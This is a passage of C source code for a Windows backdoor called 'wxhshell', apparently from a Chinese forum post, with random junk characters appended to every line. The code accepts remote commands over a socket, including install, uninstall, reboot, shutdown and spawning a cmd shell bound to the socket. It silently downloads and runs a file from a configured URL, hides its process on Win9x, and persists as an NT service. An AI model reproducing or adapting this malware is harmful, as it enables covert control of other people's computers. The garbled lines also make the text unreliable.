  if(DownloadFile(cmd,wsh)) m a!rZ n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9h Jlc  
  else hu ]l{TXi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FN$sST  
  } <|!?V"`3  
  else { Hwz.5hV"  
eHQS\n  
    switch(cmd[0]) { t",=]k  
  qhdY<[6  
  // 帮助 DRDn;j  
  case '?': { 6.!aJJLN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V0rS^SAF  
    break; { ]*#WU  
  } :i?7RouO  
  // 安装  {"RUiL^  
  case 'i': { 4Bn <L&@/  
    if(Install()) }f l4^F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S%^*h{9u"  
    else %kHeU=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0eGz|J*7  
    break; ;?{N=x8  
    } *%3%Zj,{  
  // 卸载 'ie+/O@G  
  case 'r': { ?~%Go  
    if(Uninstall()) agbG)t0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0^0Q0A  
    else U#qs^f7R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TrYt(F{t  
    break; 0r=KY@D  
    } 'lsG?  
  // 显示 wxhshell 所在路径 !OCb^y  
  case 'p': { \CY_nn|&g  
    char svExeFile[MAX_PATH]; ujLz<5gKuO  
    strcpy(svExeFile,"\n\r"); 7f$ hg8  
      strcat(svExeFile,ExeFile); 8wi2&j_  
        send(wsh,svExeFile,strlen(svExeFile),0); m0}1P]dc  
    break; 0qCx.<"p8#  
    } [P3].#"]M=  
  // 重启 69/br @j%`  
  case 'b': { z0jF.ub  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;(F_2&he  
    if(Boot(REBOOT)) nlq"OzcH04  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Izapx\GK9  
    else { 9'My /A0  
    closesocket(wsh); g'%^-S ]  
    ExitThread(0); RT`jWWh*Lo  
    } DjMhI_Yu  
    break; ]c+HD*  
    } Wx`| u  
  // 关机 [ T6MaP?  
  case 'd': { 'yw7|i2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Bvai  
    if(Boot(SHUTDOWN)) ~jpdDV&u\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j><8V Qx  
    else { b9%G"?~Zz  
    closesocket(wsh); Rxf.@E  
    ExitThread(0); DNyU]+\L[l  
    } >Oz~j>jL  
    break; >jBa  
    } M>yt\qbkA  
  // 获取shell Fv )H;1V  
  case 's': { s"xiGp9  
    CmdShell(wsh); )HL[_WfY  
    closesocket(wsh); Mb1K:U  
    ExitThread(0); NbyXi3@v  
    break; ;bMmJ>[l-  
  } `{B<|W$=  
  // 退出 W]-c`32~S  
  case 'x': { vJ a?5Jr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *#| lhf'  
    CloseIt(wsh); VGVb3@  
    break; :~ ; 48m  
    } !</Snsi  
  // 离开 Jg2*$gL;_  
  case 'q': { Wu1">|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Lc?q0x^s  
    closesocket(wsh); 3c|u2Pl  
    WSACleanup(); m35$4  
    exit(1); M,R**z  
    break; N+#lS7  
        } YM`I&!n  
  } 5i eF8F%  
  } OngUZMgdb  
=9;2(<A  
  // 提示信息 Yo^9Y@WDW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fhp+Ep!0Y  
} z7PmyU >  
  } q(n PI  
0+m4 }]6l  
  return; <W2 YG6^i  
} dJf#j?\[  
OV+|j  
// shell模块句柄 g4U`Qf3  
int CmdShell(SOCKET sock) bPL.8hX   
{ U~l.%mui  
STARTUPINFO si; b&_u+g  
ZeroMemory(&si,sizeof(si)); -nL!#R{e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Dx*tolF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !=B=1th4  
PROCESS_INFORMATION ProcessInfo; S4!}7NOh  
char cmdline[]="cmd"; #sJL"GB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~1g)4g~  
  return 0; /f Ui2[y  
} SbX#$; ks~  
^dP]3D1 @  
// 自身启动模式 4^u wZ:  
int StartFromService(void) )"sJaHx<  
{ G>?'b  
typedef struct zAA3bgaa  
{ i[r>^U8O  
  DWORD ExitStatus; BHrNDpv  
  DWORD PebBaseAddress; &XF@Dvv  
  DWORD AffinityMask; e'MLLC [  
  DWORD BasePriority; OY'6~w9  
  ULONG UniqueProcessId; 37U$9]  
  ULONG InheritedFromUniqueProcessId; .EXxNB]%Y&  
}   PROCESS_BASIC_INFORMATION; 8v12<ktR`  
$?M$^- (e  
PROCNTQSIP NtQueryInformationProcess; *3s,~<''%  
#P/}'rdt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $>6Kn`UX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ll#_v^  
h#?)H7ft  
  HANDLE             hProcess; G$7!/O%#_  
  PROCESS_BASIC_INFORMATION pbi; hG!|ts  
dxk~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1_MaaA;ow"  
  if(NULL == hInst ) return 0; ps&p|  
FXO{i:Zo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kgGMA 7Jy  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t}m"rMbt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @S#Ls="G  
wVac6q  
  if (!NtQueryInformationProcess) return 0; QKt+Orz  
=Dc9|WuHN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C[2LP$6*/  
  if(!hProcess) return 0; 1yT\|2ARZ%  
I>n2# -8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hutdw>  
hY}.2  
  CloseHandle(hProcess); a&)4Dv0  
_a&Mk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <v+M~"%V  
if(hProcess==NULL) return 0; O tD!@GQ6  
F0 ^kUyF|  
HMODULE hMod; E As1 =  
char procName[255]; A>Y!d9]ti  
unsigned long cbNeeded; ,Jqk0cW2  
E*]%@6tH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2& ZoG%)  
?I}0[+)V  
  CloseHandle(hProcess); NWt5)xl  
Ou,Eu05jt'  
if(strstr(procName,"services")) return 1; // 以服务启动 &8'QD~  
aX,ux9#  
  return 0; // 注册表启动 k`;&??  
} O od?ifA  
l~j{i/>  
// 主模块 OdHl)"#  
int StartWxhshell(LPSTR lpCmdLine) MB3 0.V/\  
{ ,?(IRiq%  
  SOCKET wsl; Zrm!,qs  
BOOL val=TRUE; n}!D)Gx  
  int port=0; 03^?+[C  
  struct sockaddr_in door; e}bY 9  
r>.^4Z@  
  if(wscfg.ws_autoins) Install(); yE>f.|(  
$,DX^I%!  
port=atoi(lpCmdLine); 0{zA6Xu  
,W:Bh$%  
if(port<=0) port=wscfg.ws_port; K.I  \E  
le.(KgRS4  
  WSADATA data; QCVwslj,K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ppXt8G3% x  
w?Nx ^)xX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q@8j[15  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Yt#e[CYnu  
  door.sin_family = AF_INET; 81&5g'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r5(-c]E7  
  door.sin_port = htons(port); [2Rw)!N  
xGVL|/?8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1 6G/'Hb  
closesocket(wsl); 9<Kc9Z  
return 1; lL]8~3b  
} &bw ``e&c  
9G)q U  
  if(listen(wsl,2) == INVALID_SOCKET) { `|d&ta[{  
closesocket(wsl); ?> SH`\  
return 1; o:C],G_  
} DX)T}V&mP  
  Wxhshell(wsl); mIUpAOC`"Z  
  WSACleanup(); &] euL:C  
\5=fC9*G  
return 0; 'l`T(_zL\%  
+jIE,N  
} q)E J?-  
RiNKUk{-  
// 以NT服务方式启动 j_Z"=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^d[ s*,i?  
{ p@x1B &Z  
DWORD   status = 0; hp6%zUR  
  DWORD   specificError = 0xfffffff; wU= @,K  
2 bQC 2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {S;/+X,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }iF"&b0n"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vJE>H4qPmD  
  serviceStatus.dwWin32ExitCode     = 0; JJe?Zu\  
  serviceStatus.dwServiceSpecificExitCode = 0; %U$PcHOo  
  serviceStatus.dwCheckPoint       = 0; 2gC.Z:}  
  serviceStatus.dwWaitHint       = 0; tE>hj:p  
KXy|Si8w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ob3Z I  
  if (hServiceStatusHandle==0) return; l|onH;g\  
{V{*rq<)  
status = GetLastError(); K;}h u(*\]  
  if (status!=NO_ERROR) KN"V(<!)~  
{  _8G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v4V|j<R  
    serviceStatus.dwCheckPoint       = 0; 8LouCv(>  
    serviceStatus.dwWaitHint       = 0; 5 LZ+~!2+  
    serviceStatus.dwWin32ExitCode     = status; '5vgpmn  
    serviceStatus.dwServiceSpecificExitCode = specificError; std4Nyp  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sG~5O\,E  
    return; h0)Wy>B=,  
  } qp@:Zqz8  
wt@q+9:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {}TR'Y4  
  serviceStatus.dwCheckPoint       = 0; R0v5mD$:G  
  serviceStatus.dwWaitHint       = 0; z9#iU>@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1*!`G5c,}  
} {Noa4i  
ua -cX3E  
// 处理NT服务事件,比如:启动、停止 (8*& 42W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y"U -Rc  
{ aH1mW;,1u  
switch(fdwControl) fGD#|a;,  
{ b1A8 -![  
case SERVICE_CONTROL_STOP: Zk.LGYz  
  serviceStatus.dwWin32ExitCode = 0; 'nFqq:2Xa  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZJxUv {J  
  serviceStatus.dwCheckPoint   = 0; (|PxR#{l<  
  serviceStatus.dwWaitHint     = 0; qq+fUfB2:  
  { 3B<$6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j+c<0,Kj  
  } h6dVT9  
  return; TCd1JF0  
case SERVICE_CONTROL_PAUSE: N?'V,p 0=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M8,W|eTM  
  break; -H%806NAX7  
case SERVICE_CONTROL_CONTINUE: u K`T1*_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n>Rt9   
  break; 6BJPQdqSl  
case SERVICE_CONTROL_INTERROGATE: _"PT O&E  
  break; }cL9`a9j  
}; L##lXUl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~ZSP K;D[  
} Xh,{/5m  
<E(#;F^y  
// 标准应用程序主函数 W:7oGZ>4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Vc! ;O9dP  
{ 'j)xryw  
f@R j;R~Jp  
// 获取操作系统版本 tBp146`  
OsIsNt=GetOsVer(); 5Z7<X2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T>&d/$;]  
8/;q~:v  
  // 从命令行安装 d (Fb_  
  if(strpbrk(lpCmdLine,"iI")) Install(); !`k{Ga  
_M/ckv1q@  
  // 下载执行文件 %r0yBK2uOp  
if(wscfg.ws_downexe) { pr8eRV!x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `5[d9z/6  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2z7+@!w/  
} );wSay>%(  
^1vh5D  
if(!OsIsNt) { 1@ )8E`u  
// 如果时win9x,隐藏进程并且设置为注册表启动 M%dXy^e  
HideProc(); gp:,DC?(  
StartWxhshell(lpCmdLine); Y{TzN%|LV  
} m ?a&XZ  
else Uj)~>V'  
  if(StartFromService()) ,c@^u6a  
  // 以服务方式启动 XHgwK @GU  
  StartServiceCtrlDispatcher(DispatchTable); :h tOz.  
else P"J(O<(1-:  
  // 普通方式启动 c|lo%[]R!  
  StartWxhshell(lpCmdLine); k[]B P4  
%X Jv;|  
return 0; =h?WT*  
}
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只看该作者 1 发表于: 2006-10-10
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